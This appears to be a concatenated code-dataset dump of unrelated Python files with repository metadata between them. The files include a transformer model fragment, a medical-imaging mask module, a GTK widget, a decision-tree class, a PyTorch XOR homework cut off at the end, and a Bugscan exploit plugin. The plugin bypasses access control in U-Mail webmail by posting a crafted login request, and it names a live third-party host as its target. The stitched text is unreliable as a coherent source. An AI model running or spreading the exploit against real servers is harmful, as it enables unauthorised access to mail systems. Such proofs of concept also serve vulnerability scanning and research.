config["input_dim"] self.gpus = torch.cuda.device_count() self.n_layer = 2 self.hidden_size = config["emb_size"] self.intermediate_size = config["intermediate_size"] self.num_attention_heads = config["num_attention_heads"] self.attention_dropout = config["attention_probs_dropout_prob"] self.hidden_dropout = config["hidden_dropout_prob"] self.vocab_size = config['vocab_size'] self.flatten_dim = config["flat_dim"] self.emb = Embeddings(self.input_dim, self.emb_size, self.max_len, self.dropout_rate) self.encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_dropout, self.hidden_dropout) self.decoder = nn.Sequential( nn.Linear(self.hidden_size, self.vocab_size) ) def forward(self, x): ex_mask = 0. * x emb = self.emb(x) encoded_layers = self.encoder(emb.float(), 0.) embedding = self.decoder(encoded_layers) return embedding class BIN_Transformer_Single(nn.Sequential): def __init__(self, **config): super(BIN_Transformer_Single, self).__init__() self.max_d = config['max_drug_seq'] self.max_p = config['max_protein_seq'] self.max_len = config['max_len'] self.emb_size = config['emb_size'] self.dropout_rate = config['dropout_rate'] self.scale_down_ratio = config['scale_down_ratio'] self.growth_rate = config['growth_rate'] self.transition_rate = config['transition_rate'] self.num_dense_blocks = config['num_dense_blocks'] self.kernal_dense_size = config['kernal_dense_size'] self.batch_size = config['batch_size'] self.input_dim = config['input_dim'] self.gpus = torch.cuda.device_count() self.n_layer = 2 self.hidden_size = config['emb_size'] self.intermediate_size = config['intermediate_size'] self.num_attention_heads = config['num_attention_heads'] self.attention_probs_dropout_prob = config['attention_probs_dropout_prob'] self.hidden_dropout_prob = config['hidden_dropout_prob'] self.vocab_size = config['vocab_size'] self.flatten_dim = config['flat_dim'] self.emb = Embeddings(self.input_dim, self.emb_size, self.max_len, self.dropout_rate) self.encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_probs_dropout_prob, self.hidden_dropout_prob) self.decoder = nn.Sequential( nn.Linear(self.flatten_dim, 512), nn.ReLU(True), nn.BatchNorm1d(512), nn.Linear(512, 64), nn.ReLU(True), nn.BatchNorm1d(64), nn.Linear(64, 32), nn.ReLU(True), nn.Linear(32, 1) ) def forward(self, x, mask): ex_mask = mask.unsqueeze(1).unsqueeze(2) ex_mask = (1.0 - ex_mask) * -10000.0 emb = self.emb(x) encoded_layers = self.encoder(emb.float(), ex_mask.float()) print("Encoder dim: ", encoded_layers.shape) layers = encoded_layers.view(self.batch_size, -1) score = self.decoder(encoded_layers) return score class LayerNorm(nn.Module): def __init__(self, hidden_size, variance_epsilon=1e-12): super(LayerNorm, self).__init__() self.gamma = nn.Parameter(torch.ones(hidden_size)) self.beta = nn.Parameter(torch.zeros(hidden_size)) self.variance_epsilon = variance_epsilon def forward(self, x): u = x.mean(-1, keepdim=True) s = (x - u).pow(2).mean(-1, keepdim=True) x = (x - u) / torch.sqrt(s + self.variance_epsilon) return self.gamma * x + self.beta class Embeddings(nn.Module): def __init__(self, vocab_size, hidden_size, max_position_size, dropout_rate): super(Embeddings, self).__init__() self.word_embeddings = nn.Embedding(vocab_size, hidden_size) self.position_embeddings = nn.Embedding(max_position_size, hidden_size) self.LayerNorm = LayerNorm(hidden_size) self.dropout = nn.Dropout(dropout_rate) def forward(self, input_ids): seq_length = input_ids.size(1) position_ids = torch.arange(seq_length, dtype=torch.long, device=input_ids.device) position_ids = position_ids.unsqueeze(0).expand_as(input_ids) words_embeddings = self.word_embeddings(input_ids) position_embeddings = self.position_embeddings(position_ids) embeddings = words_embeddings + position_embeddings embeddings = self.LayerNorm(embeddings) embeddings = self.dropout(embeddings) return embeddings class SelfAttention(nn.Module): def __init__(self, hidden_size, num_attention_heads, attention_probs_dropout_prob): super(SelfAttention, self).__init__() if hidden_size % num_attention_heads != 0: raise ValueError( "The hidden size (%d) is not a multiple of the number of attention " "heads (%d)" % (hidden_size, num_attention_heads)) self.num_attention_heads = num_attention_heads self.attention_head_size = int(hidden_size / num_attention_heads) self.all_head_size = self.num_attention_heads * self.attention_head_size self.query = nn.Linear(hidden_size, self.all_head_size) self.key = nn.Linear(hidden_size, self.all_head_size) self.value = nn.Linear(hidden_size, self.all_head_size) self.dropout = nn.Dropout(attention_probs_dropout_prob) def transpose_for_scores(self, x): new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size) x = x.view(*new_x_shape) return x.permute(0, 2, 1, 3) def forward(self, hidden_states, attention_mask): mixed_query_layer = self.query(hidden_states) mixed_key_layer = self.key(hidden_states) mixed_value_layer = self.value(hidden_states) query_layer = self.transpose_for_scores(mixed_query_layer) key_layer = self.transpose_for_scores(mixed_key_layer) value_layer = self.transpose_for_scores(mixed_value_layer) attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2)) attention_scores = attention_scores / math.sqrt(self.attention_head_size) attention_scores = attention_scores + attention_mask attention_probs = nn.Softmax(dim=-1)(attention_scores) attention_probs = self.dropout(attention_probs) context_layer = torch.matmul(attention_probs, value_layer) context_layer = context_layer.permute(0, 2, 1, 3).contiguous() new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,) context_layer = context_layer.view(*new_context_layer_shape) return context_layer class SelfOutput(nn.Module): def __init__(self, hidden_size, hidden_dropout_prob): super(SelfOutput, self).__init__() self.dense = nn.Linear(hidden_size, hidden_size) self.LayerNorm = LayerNorm(hidden_size) self.dropout = nn.Dropout(hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states class Attention(nn.Module): def __init__(self, hidden_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob): super(Attention, self).__init__() self.self = SelfAttention(hidden_size, num_attention_heads, attention_probs_dropout_prob) self.output = SelfOutput(hidden_size, hidden_dropout_prob) def forward(self, input_tensor, attention_mask): self_output = self.self(input_tensor, attention_mask) attention_output = self.output(self_output, input_tensor) return attention_output class Intermediate(nn.Module): def __init__(self, hidden_size, intermediate_size): super(Intermediate, self).__init__() self.dense = nn.Linear(hidden_size, intermediate_size) def forward(self, hidden_states): hidden_states = self.dense(hidden_states) hidden_states = F.relu(hidden_states) return hidden_states class Output(nn.Module): def __init__(self, intermediate_size, hidden_size, hidden_dropout_prob): super(Output, self).__init__() self.dense = nn.Linear(intermediate_size, hidden_size) self.LayerNorm = LayerNorm(hidden_size) self.dropout = nn.Dropout(hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states class Encoder(nn.Module): def __init__(self, hidden_size, intermediate_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob): super(Encoder, self).__init__() self.attention = Attention(hidden_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob) self.intermediate = Intermediate(hidden_size, intermediate_size) self.output = Output(intermediate_size, hidden_size, hidden_dropout_prob) def forward(self, hidden_states, attention_mask): attention_output = self.attention(hidden_states, attention_mask) intermediate_output = self.intermediate(attention_output) layer_output = self.output(intermediate_output, attention_output) return layer_output class LinearEncoder(nn.Module): def __init__(self, hidden_size, intermediate_size, num_attention_heads, attention_dropout, hidden_dropout): super(LinearEncoder, self).__init__() attention_head_size = int(hidden_size / num_attention_heads) self.attention = LinearMultiHeadAttn(num_attention_heads, hidden_size, attention_head_size, hidden_dropout, attention_dropout) def forward(self, hidden_states, attention_mask): attention_output = self.attention(hidden_states, attention_mask) return attention_output class Encoder_MultipleLayers(nn.Module): def __init__(self, encoder, n_layer, hidden_size, intermediate_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob): super(Encoder_MultipleLayers, self).__init__() layer = encoder(hidden_size, intermediate_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob) self.layer = nn.ModuleList([copy.deepcopy(layer) for _ in range(n_layer)]) def forward(self, hidden_states, attention_mask, output_all_encoded_layers=True): all_encoder_layers = [] for layer_module in self.layer: hidden_states = layer_module(hidden_states, attention_mask) return hidden_states

true

f73265c9edaae6ec1281e7f5b9116e4c14930790

3,488

py

Python

oxasl/mask.py

ibme-qubic/oxasl

8a0c055752d6e10cd932336ae6916f0c4fc0a2e9

[ "Apache-2.0" ]

1

2020-11-02T13:01:47.000Z

oxasl/mask.py

ibme-qubic/oxasl

8a0c055752d6e10cd932336ae6916f0c4fc0a2e9

[ "Apache-2.0" ]

13

2019-01-14T13:22:00.000Z

2020-09-12T20:34:20.000Z

oxasl/mask.py

physimals/oxasl

e583103f3313aed2890b60190b6ca7b265a46e3c

[ "Apache-2.0" ]

3

2019-03-19T15:46:48.000Z

2020-03-13T16:55:48.000Z

""" OXASL - Module to generate a suitable mask for ASL data Copyright (c) 2008-2020 Univerisity of Oxford """ import numpy as np import scipy as sp import fsl.wrappers as fsl from fsl.data.image import Image from oxasl import reg from oxasl.reporting import LightboxImage def generate_mask(wsp): """ For compatibility """ run(wsp) def run(wsp): """ Generate mask for ASL data - If a ready-made mask image is provided or has already been generated, this is returned - If a structural image is provided this will be used. Brain extraction and registration will be performed if required - If a calibration image is provided, this is used. It is assumed to be in the same space as the ASL data - If none of the above are present, the ASL data itself is averaged and brain extracted to produce the mask Required workspace attributes ----------------------------- Formally there are no required attributes, however at least one image must be provided which enables a mask to be generated. Optional workspace attributes ----------------------------- - ``asldata`` : ASL data image - ``mask`` : Existing brain mask - ``struc`` : Structural image (wholehead) - ``struc_brain``: Already brain-extracted structural image - ``asl2struc`` : Existring ASL->Structural space transformation matrix - ``calib`` : Calibration image - ``nativeref`` : ASL registration source image """ if wsp.rois is not None and wsp.rois.mask is not None: return wsp.sub("rois") wsp.log.write("\nGenerating ASL data mask\n") # Reporting page = wsp.report.page("mask") page.heading("Mask generation", level=0) if wsp.mask is not None: wsp.rois.mask_src = "user" mask_source = "provided by user (assumed to be ASL space): %s" % wsp.mask.name wsp.rois.mask = wsp.mask elif wsp.structural is not None and wsp.structural.struc is not None: # Preferred option is to use brain extracted structural wsp.rois.mask_src = "struc" page.heading("Brain extracted structural image", level=1) page.image("struc_brain", LightboxImage(wsp.structural.brain, bgimage=wsp.structural.struc)) wsp.rois.mask_struc = wsp.structural.brain_mask wsp.rois.mask_asl = reg.change_space(wsp, wsp.structural.brain_mask, "native") wsp.rois.mask = Image(sp.ndimage.morphology.binary_fill_holes((wsp.rois.mask_asl.data > 0.25)).astype(np.int), header=wsp.rois.mask_asl.header) mask_source = "generated from brain extracting structural image and registering to ASL space" else: # Alternatively, use registration image (which will be BETed calibration or mean ASL image) wsp.rois.mask_src = "nativeref" wsp.rois.mask = Image((wsp.reg.nativeref.data != 0).astype(np.int), header=wsp.reg.nativeref.header) mask_source = "generated from brain extracted registration ASL image" wsp.log.write(" - Mask %s\n" % mask_source) page.heading("Masked ASL brain image", level=1) page.text("Mask was %s" % mask_source) page.text("PW ASL image masked by ASL-space mask") if wsp.asldata.iaf in ("diff", "tc", "ct"): page.image("mask_outline", LightboxImage(wsp.rois.mask, bgimage=wsp.asldata.perf_weighted(), outline=True)) else: page.image("mask_outline", LightboxImage(wsp.rois.mask, bgimage=wsp.asldata.mean(), outline=True))

39.191011

151

0.675745

import numpy as np import scipy as sp import fsl.wrappers as fsl from fsl.data.image import Image from oxasl import reg from oxasl.reporting import LightboxImage def generate_mask(wsp): run(wsp) def run(wsp): if wsp.rois is not None and wsp.rois.mask is not None: return wsp.sub("rois") wsp.log.write("\nGenerating ASL data mask\n") page = wsp.report.page("mask") page.heading("Mask generation", level=0) if wsp.mask is not None: wsp.rois.mask_src = "user" mask_source = "provided by user (assumed to be ASL space): %s" % wsp.mask.name wsp.rois.mask = wsp.mask elif wsp.structural is not None and wsp.structural.struc is not None: wsp.rois.mask_src = "struc" page.heading("Brain extracted structural image", level=1) page.image("struc_brain", LightboxImage(wsp.structural.brain, bgimage=wsp.structural.struc)) wsp.rois.mask_struc = wsp.structural.brain_mask wsp.rois.mask_asl = reg.change_space(wsp, wsp.structural.brain_mask, "native") wsp.rois.mask = Image(sp.ndimage.morphology.binary_fill_holes((wsp.rois.mask_asl.data > 0.25)).astype(np.int), header=wsp.rois.mask_asl.header) mask_source = "generated from brain extracting structural image and registering to ASL space" else: wsp.rois.mask_src = "nativeref" wsp.rois.mask = Image((wsp.reg.nativeref.data != 0).astype(np.int), header=wsp.reg.nativeref.header) mask_source = "generated from brain extracted registration ASL image" wsp.log.write(" - Mask %s\n" % mask_source) page.heading("Masked ASL brain image", level=1) page.text("Mask was %s" % mask_source) page.text("PW ASL image masked by ASL-space mask") if wsp.asldata.iaf in ("diff", "tc", "ct"): page.image("mask_outline", LightboxImage(wsp.rois.mask, bgimage=wsp.asldata.perf_weighted(), outline=True)) else: page.image("mask_outline", LightboxImage(wsp.rois.mask, bgimage=wsp.asldata.mean(), outline=True))

true

f7326634ece2f34cc1465b450f8505c188b6eaa4

1,769

py

Python

src/gtk/toga_gtk/widgets/splitcontainer.py

saluk/toga

f8bea583c87642ad102776e1b58fd8bb9265b135

[ "BSD-3-Clause" ]

null

src/gtk/toga_gtk/widgets/splitcontainer.py

saluk/toga

f8bea583c87642ad102776e1b58fd8bb9265b135

[ "BSD-3-Clause" ]

null

src/gtk/toga_gtk/widgets/splitcontainer.py

saluk/toga

f8bea583c87642ad102776e1b58fd8bb9265b135

[ "BSD-3-Clause" ]

null

from ..libs import Gtk from ..window import GtkViewport from .base import Widget class SplitContainer(Widget): def create(self): # Use Paned widget rather than VPaned and HPaned deprecated widgets # Note that orientation in toga behave unlike Gtk if self.interface.VERTICAL: self.native = Gtk.Paned.new(Gtk.Orientation.HORIZONTAL) elif self.interface.HORIZONTAL: self.native = Gtk.Paned.new(Gtk.Orientation.VERTICAL) else: raise ValueError("Allowed orientation is VERTICAL or HORIZONTAL") self.native.interface = self.interface self.ratio = None def add_content(self, position, widget, flex): widget.viewport = GtkViewport(self.native) # Add all children to the content widget. for child in widget.interface.children: child._impl.container = widget if position >= 2: raise ValueError('SplitContainer content must be a 2-tuple') if position == 0: self.native.set_wide_handle(True) self.native.pack1(widget.native, flex, False) elif position == 1: self.native.set_wide_handle(True) self.native.pack2(widget.native, flex, False) def set_app(self, app): if self.interface.content: self.interface.content[0].app = self.interface.app self.interface.content[1].app = self.interface.app def set_window(self, window): if self.interface.content: self.interface.content[0].window = self.interface.window self.interface.content[1].window = self.interface.window def set_direction(self, value): self.interface.factory.not_implemented('SplitContainer.set_direction()')

36.102041

80

0.654607

from ..libs import Gtk from ..window import GtkViewport from .base import Widget class SplitContainer(Widget): def create(self): if self.interface.VERTICAL: self.native = Gtk.Paned.new(Gtk.Orientation.HORIZONTAL) elif self.interface.HORIZONTAL: self.native = Gtk.Paned.new(Gtk.Orientation.VERTICAL) else: raise ValueError("Allowed orientation is VERTICAL or HORIZONTAL") self.native.interface = self.interface self.ratio = None def add_content(self, position, widget, flex): widget.viewport = GtkViewport(self.native) for child in widget.interface.children: child._impl.container = widget if position >= 2: raise ValueError('SplitContainer content must be a 2-tuple') if position == 0: self.native.set_wide_handle(True) self.native.pack1(widget.native, flex, False) elif position == 1: self.native.set_wide_handle(True) self.native.pack2(widget.native, flex, False) def set_app(self, app): if self.interface.content: self.interface.content[0].app = self.interface.app self.interface.content[1].app = self.interface.app def set_window(self, window): if self.interface.content: self.interface.content[0].window = self.interface.window self.interface.content[1].window = self.interface.window def set_direction(self, value): self.interface.factory.not_implemented('SplitContainer.set_direction()')

true

f732667678fe56d63a50d6cdfc0a2bcc6b9ff02f

5,812

py

Python

lh/DecisionTree2.py

skyf0cker/Statistical_learning_method

8151f3b8595ac086f08d161dc0cb961946f4b7fc

[ "MIT" ]

3

2019-03-25T14:15:30.000Z

2019-08-29T15:02:47.000Z

lh/DecisionTree2.py

skyf0cker/Statistical_learning_method

8151f3b8595ac086f08d161dc0cb961946f4b7fc

[ "MIT" ]

null

lh/DecisionTree2.py

skyf0cker/Statistical_learning_method

8151f3b8595ac086f08d161dc0cb961946f4b7fc

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # @Date : 2019-02-03 15:17:08 # @Author : Vophan Lee (vophanlee@gmail.com) # @Link : https://www.jianshu.com/u/3e6114e983ad from sklearn.datasets import make_classification import numpy as np import math class Decision_Tree(object): """ this is a class to build the decision tree """ feature_list = [] gain_list = [] dim_list = [] index = 0 def __init__(self): super(Decision_Tree, self).__init__() self.features = 5 self.samples = 100 self.data = make_classification( n_samples=self.samples, n_features=self.features, n_classes=2) self.empirical_entropy = self.cal_emp_entropy(self.data) def cal_emp_entropy(self, data): """ calculate the empirical entropy """ data_0 = [] data_1 = [] for i in enumerate(data[1]): if i[1] == 0: data_0.append(data[0][i[0]]) else: data_1.append(data[0][i[0]]) entropy = 0 for data_ in [data_0, data_1]: entropy += - \ (len(data_) / len(data[0])) * \ math.log2(len(data_) / len(data[0])) return entropy def div_point(self, dim_data): """ decide the divided point of each feature,here we sopposed that dim_data is a continuous dataset dim_data: tuple """ def dichotomy(dim_data): div_points = np.zeros((1, self.samples)).reshape(self.samples) for i in enumerate(dim_data): if i[0] == len(dim_data) - 1: break div_points[i[0]] = (dim_data[i[0] + 1] + i[1]) / 2 return div_points dim_data = list(dim_data) dim_data = np.array(dim_data) dim_data = dim_data[:, dim_data[0].argsort()] dim_data = tuple(dim_data) div_points = dichotomy(dim_data[1]) information_gain_list = [] for i in div_points: div_index = list(div_points).index(i) + 1 front = dim_data[1][:div_index] behind = dim_data[1][div_index:] front_flag = dim_data[0][:div_index] behind_flag = dim_data[0][div_index:] front_data = (front, front_flag) behind_data = (behind, behind_flag) if len(front_data[0]) == 1 or ((front_data[1] == front_data[1][::-1]).all() and len(front_data[0]) != len(dim_data[0]) / 2): behind_entropy = self.cal_emp_entropy(behind_data) information_gain = self.empirical_entropy - \ (behind_entropy * (len(behind) / len(dim_data[0]))) information_gain_list.append(information_gain) elif len(behind_data[0]) == 1 or ((behind_data[1] == behind_data[1][::-1]).all() and len(front_data[0]) != len(dim_data[0]) / 2): front_entropy = self.cal_emp_entropy(front_data) information_gain = self.empirical_entropy - \ (front_entropy * (len(front) / len(dim_data[0]))) information_gain_list.append(information_gain) elif (front_data[1] == front_data[1][::-1]).all() and len(front_data[0]) == len(dim_data[0]) / 2: return -1, div_points[int(len(dim_data[0]) / 2 - 1)] else: front_entropy = self.cal_emp_entropy(front_data) behind_entropy = self.cal_emp_entropy(behind_data) information_gain = self.empirical_entropy - (front_entropy * (len(front) / len( dim_data[0])) + behind_entropy * (len(behind) / len(dim_data[0]))) information_gain_list.append(information_gain) max_information_gain = max(information_gain_list) return max_information_gain, div_points[information_gain_list.index(max_information_gain)] def compare_features(self): """ here we choose a maximium information gain among all features """ gain_list_tmp = [] point_list = [] for i in range(self.features): information_gain, div_point = self.div_point((self.data[1], self.data[0].transpose()[i])) gain_list_tmp.append(information_gain) point_list.append(div_point) com_matrix = np.array([ gain_list_tmp, point_list, range(self.features) ]) com_matrix = com_matrix[:, com_matrix[0].argsort()] Decision_Tree.feature_list = list(com_matrix[1]) Decision_Tree.gain_list = list(com_matrix[0]) Decision_Tree.dim_list = list(com_matrix[2]) def planet_tree(self, data): """ here is the process of planeting the tree data: without flag """ feature = Decision_Tree.feature_list[Decision_Tree.index] dim = Decision_Tree.dim_list[Decision_Tree.index] Decision_Tree.index += 1 if Decision_Tree.gain_list[Decision_Tree.feature_list.index(feature)] == -1 or Decision_Tree.index >= len(Decision_Tree.feature_list) - 1: return tree_node([x for x in data.transpose()[int(dim)] if x < feature], [x for x in data.transpose()[int(dim)] if x > feature], feature) else: return tree_node(self.planet_tree([x for x in data[0] if x < feature]),self.planet_tree([x for x in data[0] if x > feature]), feature) class tree_node(object): """ this is the node of the decision tree """ def __init__(self, left, right, data): self.left=left self.right=right self.data=data

41.219858

147

0.567275

from sklearn.datasets import make_classification import numpy as np import math class Decision_Tree(object): feature_list = [] gain_list = [] dim_list = [] index = 0 def __init__(self): super(Decision_Tree, self).__init__() self.features = 5 self.samples = 100 self.data = make_classification( n_samples=self.samples, n_features=self.features, n_classes=2) self.empirical_entropy = self.cal_emp_entropy(self.data) def cal_emp_entropy(self, data): data_0 = [] data_1 = [] for i in enumerate(data[1]): if i[1] == 0: data_0.append(data[0][i[0]]) else: data_1.append(data[0][i[0]]) entropy = 0 for data_ in [data_0, data_1]: entropy += - \ (len(data_) / len(data[0])) * \ math.log2(len(data_) / len(data[0])) return entropy def div_point(self, dim_data): def dichotomy(dim_data): div_points = np.zeros((1, self.samples)).reshape(self.samples) for i in enumerate(dim_data): if i[0] == len(dim_data) - 1: break div_points[i[0]] = (dim_data[i[0] + 1] + i[1]) / 2 return div_points dim_data = list(dim_data) dim_data = np.array(dim_data) dim_data = dim_data[:, dim_data[0].argsort()] dim_data = tuple(dim_data) div_points = dichotomy(dim_data[1]) information_gain_list = [] for i in div_points: div_index = list(div_points).index(i) + 1 front = dim_data[1][:div_index] behind = dim_data[1][div_index:] front_flag = dim_data[0][:div_index] behind_flag = dim_data[0][div_index:] front_data = (front, front_flag) behind_data = (behind, behind_flag) if len(front_data[0]) == 1 or ((front_data[1] == front_data[1][::-1]).all() and len(front_data[0]) != len(dim_data[0]) / 2): behind_entropy = self.cal_emp_entropy(behind_data) information_gain = self.empirical_entropy - \ (behind_entropy * (len(behind) / len(dim_data[0]))) information_gain_list.append(information_gain) elif len(behind_data[0]) == 1 or ((behind_data[1] == behind_data[1][::-1]).all() and len(front_data[0]) != len(dim_data[0]) / 2): front_entropy = self.cal_emp_entropy(front_data) information_gain = self.empirical_entropy - \ (front_entropy * (len(front) / len(dim_data[0]))) information_gain_list.append(information_gain) elif (front_data[1] == front_data[1][::-1]).all() and len(front_data[0]) == len(dim_data[0]) / 2: return -1, div_points[int(len(dim_data[0]) / 2 - 1)] else: front_entropy = self.cal_emp_entropy(front_data) behind_entropy = self.cal_emp_entropy(behind_data) information_gain = self.empirical_entropy - (front_entropy * (len(front) / len( dim_data[0])) + behind_entropy * (len(behind) / len(dim_data[0]))) information_gain_list.append(information_gain) max_information_gain = max(information_gain_list) return max_information_gain, div_points[information_gain_list.index(max_information_gain)] def compare_features(self): gain_list_tmp = [] point_list = [] for i in range(self.features): information_gain, div_point = self.div_point((self.data[1], self.data[0].transpose()[i])) gain_list_tmp.append(information_gain) point_list.append(div_point) com_matrix = np.array([ gain_list_tmp, point_list, range(self.features) ]) com_matrix = com_matrix[:, com_matrix[0].argsort()] Decision_Tree.feature_list = list(com_matrix[1]) Decision_Tree.gain_list = list(com_matrix[0]) Decision_Tree.dim_list = list(com_matrix[2]) def planet_tree(self, data): feature = Decision_Tree.feature_list[Decision_Tree.index] dim = Decision_Tree.dim_list[Decision_Tree.index] Decision_Tree.index += 1 if Decision_Tree.gain_list[Decision_Tree.feature_list.index(feature)] == -1 or Decision_Tree.index >= len(Decision_Tree.feature_list) - 1: return tree_node([x for x in data.transpose()[int(dim)] if x < feature], [x for x in data.transpose()[int(dim)] if x > feature], feature) else: return tree_node(self.planet_tree([x for x in data[0] if x < feature]),self.planet_tree([x for x in data[0] if x > feature]), feature) class tree_node(object): def __init__(self, left, right, data): self.left=left self.right=right self.data=data

true

f7326756f8ad7832b4a6f8c87d9131cd0c7553a9

721

py

Python

Bugscan_exploits-master/exp_list/exp－1063.py

csadsl/poc_exp

e3146262e7403f19f49ee2db56338fa3f8e119c9

[ "MIT" ]

11

2020-05-30T13:53:49.000Z

2021-03-17T03:20:59.000Z

Bugscan_exploits-master/exp_list/exp－1063.py

csadsl/poc_exp

e3146262e7403f19f49ee2db56338fa3f8e119c9

[ "MIT" ]

6

2020-05-13T03:25:18.000Z

2020-07-21T06:24:16.000Z

Bugscan_exploits-master/exp_list/exp－1063.py

csadsl/poc_exp

e3146262e7403f19f49ee2db56338fa3f8e119c9

[ "MIT" ]

6

2020-05-30T13:53:51.000Z

2020-12-01T21:44:26.000Z

#!/usr/bin/env python #from:http://www.wooyun.org/bugs/wooyun-2010-093049 import re,time def assign(service, arg): if service == "umail": return True, arg def audit(arg): url = arg + '/webmail/fast/index.php?module=operate&action=login' postdata = 'mailbox=test@domain.com&link=?' code, head, res, errcode, _ = curl.curl2(url,post=postdata) if code == 200 and '<meta http-equiv="refresh" content="0; URL=index.php">' in res: security_warning('make a session,access the file which guest not be allowed:post mailbox=test@domain.com&link=? to %s'%url) if __name__ == '__main__': from dummy import * audit(assign('umail', 'http://oa.shindoo.com:810/')[1])

34.333333

132

0.651872

import re,time def assign(service, arg): if service == "umail": return True, arg def audit(arg): url = arg + '/webmail/fast/index.php?module=operate&action=login' postdata = 'mailbox=test@domain.com&link=?' code, head, res, errcode, _ = curl.curl2(url,post=postdata) if code == 200 and '<meta http-equiv="refresh" content="0; URL=index.php">' in res: security_warning('make a session,access the file which guest not be allowed:post mailbox=test@domain.com&link=? to %s'%url) if __name__ == '__main__': from dummy import * audit(assign('umail', 'http://oa.shindoo.com:810/')[1])

true

f73267d55ff079ff1596cde36652108c05688ded

2,752

py

Python

DNN_HW5/main.py

jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring

95bc0f3a7042debbc388c76d9bd43ad24aba2c88

[ "MIT" ]

null

DNN_HW5/main.py

jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring

95bc0f3a7042debbc388c76d9bd43ad24aba2c88

[ "MIT" ]

null

DNN_HW5/main.py

jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring

95bc0f3a7042debbc388c76d9bd43ad24aba2c88

[ "MIT" ]

null

# %% [markdown] # [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring/blob/main/DNN_HW5/main.ipynb) # %% [markdown] # # DNN HW5 : #9 # # 2022.03.23 # 박준혁 # %% import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim # %% [markdown] # Create XOR dataset with torch.FloatTensor # %% # xor dataset x = torch.FloatTensor([[0, 0], [0, 1], [1, 0], [1, 1]]) y = torch.FloatTensor([[0], [1], [1], [0]]) # %% [markdown] # 1. NN model - 10 hidden layer with 4 nodes each # %% # neural network 10 hidden layers with 4 nodes each class NN10(nn.Module): def __init__(self): super().__init__() self.fc1 = nn.Linear(2, 4, bias=True) self.fc2 = nn.Linear(4, 4) self.fc3 = nn.Linear(4, 4) self.fc4 = nn.Linear(4, 4) self.fc5 = nn.Linear(4, 4) self.fc6 = nn.Linear(4, 4) self.fc7 = nn.Linear(4, 4) self.fc8 = nn.Linear(4, 4) self.fc9 = nn.Linear(4, 4) self.fc10 = nn.Linear(4, 1) def forward(self, x): x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = F.relu(self.fc3(x)) x = F.relu(self.fc4(x)) x = F.relu(self.fc5(x)) x = F.relu(self.fc6(x)) x = F.relu(self.fc7(x)) x = F.relu(self.fc8(x)) x = F.relu(self.fc9(x)) x = F.sigmoid(self.fc10(x)) return x # %% nn10 = NN10() optimizer10 = optim.SGD(nn10.parameters(), lr=0.1) epochs = 10000 for epoch in range(epochs): optimizer10.zero_grad() y_pred10 = nn10(x) ce10 = F.binary_cross_entropy(y_pred10, y) ce10.backward() optimizer10.step() if epoch % 1000 == 0: print("Epoch: {:4d}/{}".format(epoch, epochs), end=" ") print("Cost: {:.6f}".format(ce10.item())) # %% [markdown] # 2. NN model - 2 hidden layer with 4 nodes each # %% # neural network 2 hidden layers with 4 nodes each class NN02(nn.Module): def __init__(self): super().__init__() self.fc1 = nn.Linear(2, 4, bias=True) self.fc2 = nn.Linear(4, 4) self.fc3 = nn.Linear(4, 1) def forward(self, x): x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = F.sigmoid(self.fc3(x)) return x # %% nn02 = NN02() optimizer02 = optim.SGD(nn02.parameters(), lr=0.1) epochs = 10000 for epoch in range(epochs): optimizer02.zero_grad() y_pred02 = nn02(x) ce02 = F.binary_cross_entropy(y_pred02, y) ce02.backward() optimizer02.step() if epoch % 1000 == 0: print("Epoch: {:4d}/{}".format(epoch, epochs), end=" ") print("Cost: {:.6f}".format(ce02.item()))

26.461538

202

0.579215

py as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim x = torch.FloatTensor([[0, 0], [0, 1], [1, 0], [1, 1]]) y = torch.FloatTensor([[0], [1], [1], [0]]) class NN10(nn.Module): def __init__(self): super().__init__() self.fc1 = nn.Linear(2, 4, bias=True) self.fc2 = nn.Linear(4, 4) self.fc3 = nn.Linear(4, 4) self.fc4 = nn.Linear(4, 4) self.fc5 = nn.Linear(4, 4) self.fc6 = nn.Linear(4, 4) self.fc7 = nn.Linear(4, 4) self.fc8 = nn.Linear(4, 4) self.fc9 = nn.Linear(4, 4) self.fc10 = nn.Linear(4, 1) def forward(self, x): x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = F.relu(self.fc3(x)) x = F.relu(self.fc4(x)) x = F.relu(self.fc5(x)) x = F.relu(self.fc6(x)) x = F.relu(self.fc7(x)) x = F.relu(self.fc8(x)) x = F.relu(self.fc9(x)) x = F.sigmoid(self.fc10(x)) return x nn10 = NN10() optimizer10 = optim.SGD(nn10.parameters(), lr=0.1) epochs = 10000 for epoch in range(epochs): optimizer10.zero_grad() y_pred10 = nn10(x) ce10 = F.binary_cross_entropy(y_pred10, y) ce10.backward() optimizer10.step() if epoch % 1000 == 0: print("Epoch: {:4d}/{}".format(epoch, epochs), end=" ") print("Cost: {:.6f}".format(ce10.item())) class NN02(nn.Module): def __init__(self): super().__init__() self.fc1 = nn.Linear(2, 4, bias=True) self.fc2 = nn.Linear(4, 4) self.fc3 = nn.Linear(4, 